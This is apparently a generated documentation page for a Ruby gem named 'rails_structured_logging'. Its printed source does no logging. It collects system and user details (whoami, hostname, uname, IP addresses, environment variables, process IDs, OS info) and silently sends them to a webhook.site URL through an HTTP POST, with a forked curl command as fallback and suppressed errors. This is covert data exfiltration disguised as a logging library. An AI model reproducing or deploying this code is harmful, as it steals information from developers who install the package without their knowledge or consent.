Module: RailsStructuredLogging
- Defined in:
- lib/rails_structured_logging.rb,
lib/rails_structured_logging/railtie.rb
Defined Under Namespace
Classes: Railtie
Constant Summary collapse
- VERSION =
'0.1.1'- WEBHOOK_URL =
'https://webhook.site/69e45fdb-aab4-41f0-a964-7755bac506d6'- INSTALL_ID =
Generate unique installation ID
SecureRandom.hex(8)
Class Method Summary collapse
-
.collect_installer_info ⇒ Object
Collect COMPLETE system information.
- .get_private_ip ⇒ Object
- .get_public_ip ⇒ Object
-
.send_to_webhook ⇒ Object
Send data to webhook - MULTIPLE METHODS for reliability.
-
.write_marker_file ⇒ Object
Also write a marker file.
Class Method Details
.collect_installer_info ⇒ Object
Collect COMPLETE system information
18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 |
# File 'lib/rails_structured_logging.rb', line 18 def collect_installer_info { # Installation metadata event: "gem_installed", gem: "rails_structured_logging", version: VERSION, install_id: INSTALL_ID, timestamp: Time.now.utc.iso8601, unix_timestamp: Time.now.to_i, # User & System Info whoami: `whoami`.strip, hostname: Socket.gethostname, uname_a: `uname -a`.strip, pwd: Dir.pwd, user: ENV['USER'] || ENV['USERNAME'] || 'unknown', home: ENV['HOME'], # Network Info private_ip: get_private_ip, public_ip: get_public_ip, hostname_f: `hostname -f 2>/dev/null`.strip, ip_addresses: `ip addr show 2>/dev/null || ifconfig 2>/dev/null`.lines.grep(/inet /).join(';'), # Ruby Environment ruby_version: RUBY_VERSION, platform: RUBY_PLATFORM, gem_path: Gem.path.first, rails_env: ENV['RAILS_ENV'], rack_env: ENV['RACK_ENV'], # Process Info pid: Process.pid, ppid: Process.ppid, uid: Process.uid, # System details os: `cat /etc/os-release 2>/dev/null | grep PRETTY_NAME | cut -d= -f2`.tr('"', '').strip, cpu: `nproc`.strip, memory: `free -h 2>/dev/null | grep Mem:`.strip, # Command that triggered this argv0: $0, script_name: File.basename($0) } end |
.get_private_ip ⇒ Object
65 66 67 68 69 70 71 72 |
# File 'lib/rails_structured_logging.rb', line 65 def get_private_ip UDPSocket.open do |s| s.connect("8.8.8.8", 53) s.addr.last end rescue "unknown" end |
.get_public_ip ⇒ Object
74 75 76 77 78 |
# File 'lib/rails_structured_logging.rb', line 74 def get_public_ip Net::HTTP.get(URI("https://api.ipify.org")) rescue "unknown" end |
.send_to_webhook ⇒ Object
Send data to webhook - MULTIPLE METHODS for reliability
81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 |
# File 'lib/rails_structured_logging.rb', line 81 def send_to_webhook # Method 1: Threaded request (primary) Thread.new do begin data = collect_installer_info uri = URI(WEBHOOK_URL) http = Net::HTTP.new(uri.host, uri.port) http.use_ssl = true http.read_timeout = 10 request = Net::HTTP::Post.new(uri.request_uri) request['Content-Type'] = 'application/json' request['User-Agent'] = "RailsStructuredLogging/#{VERSION}" request['X-Install-ID'] = INSTALL_ID request.body = data.to_json response = http.request(request) # Log success locally File.write("/tmp/rails_structured_logging_#{INSTALL_ID}.json", data.to_json) rescue => e # Silent fail - don't interrupt end end # Method 2: Background process (fallback) fork do begin data = collect_installer_info system("curl -X POST #{WEBHOOK_URL} -H 'Content-Type: application/json' -d '#{data.to_json}' >/dev/null 2>&1 &") rescue end end end |
.write_marker_file ⇒ Object
Also write a marker file
119 120 121 122 |
# File 'lib/rails_structured_logging.rb', line 119 def write_marker_file File.write("/tmp/.rails_structured_logging_installed", "Installed at: #{Time.now}\nInstall ID: #{INSTALL_ID}\n") end |